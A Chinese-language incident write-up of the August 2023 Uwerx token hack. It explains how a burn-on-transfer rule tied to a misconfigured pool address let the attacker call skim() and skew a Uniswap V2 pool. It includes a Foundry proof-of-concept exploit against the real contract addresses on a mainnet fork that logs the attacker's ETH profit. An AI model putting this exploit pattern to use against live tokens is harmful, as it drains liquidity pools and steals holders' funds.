攻击介绍
2023年8月2日,Uwerx被黑客攻击,损失了175ETH。

攻击分析
我们通过phalcon来分析。

通过调用栈能发现攻击者通过不断在uniswap V2 Pool交换,最终获利。很明显是Pool的兑换比率被破坏了。之所以能被破坏,是因为uwerx TOKEN合约的_transfer()方法被利用了。

function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
if (to == uniswapPoolAddress) {
uint256 userTransferAmount = (amount * 97) / 100;
uint256 marketingAmount = (amount * 2) / 100;
uint256 burnAmount = amount - userTransferAmount - marketingAmount;

emit Transfer(from, to, userTransferAmount);
emit Transfer(from, marketingWalletAddress, marketingAmount);
_burn(from, burnAmount);

} else {
emit Transfer(from, to, amount);
}

_afterTokenTransfer(from, to, amount);
}

可以发现当to == uniswapPoolAddress时会有1%的token被销毁。uniswapPoolAddress为0x00……0001,此时调用uniswap的skim(to)方法,to设为0x00……0001,就能让Pool的兑换比率被破坏。

POC

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";


// Vulnerable Contract : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54
// Attack Tx : https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8


contract ContractTest is Test {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54);
Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4);

function setUp() public {
vm.createSelectFork("https://eth.llamarpc.com", 17826202);
vm.label(address(WETH), "WETH");
vm.label(address(WERX), "WERX");
vm.label(address(Router), "Router");
vm.label(address(pair), "pair");
}

function testExploit() external {
// mock a flash loan for simplicity
deal(address(WETH), address(this), 20_000 ether);
WETH.approve(address(Router), type(uint256).max);
WERX.approve(address(Router), type(uint256).max);

pair.sync();

address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(WERX);

Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(20_000 ether, 0, path, address(this), block.timestamp);


WERX.transfer(address(pair), 4429817738575912760684500);

pair.skim(address(0x01));
pair.sync();

path[0] = address(WERX);
path[1] = address(WETH);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp);

emit log_named_decimal_uint(
"Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
);

emit log_named_decimal_uint(
"Attacker WETH balance after exploit, ETH PROFIT", WETH.balanceOf(address(this)) - 20_000 ether, WETH.decimals()
);

}
}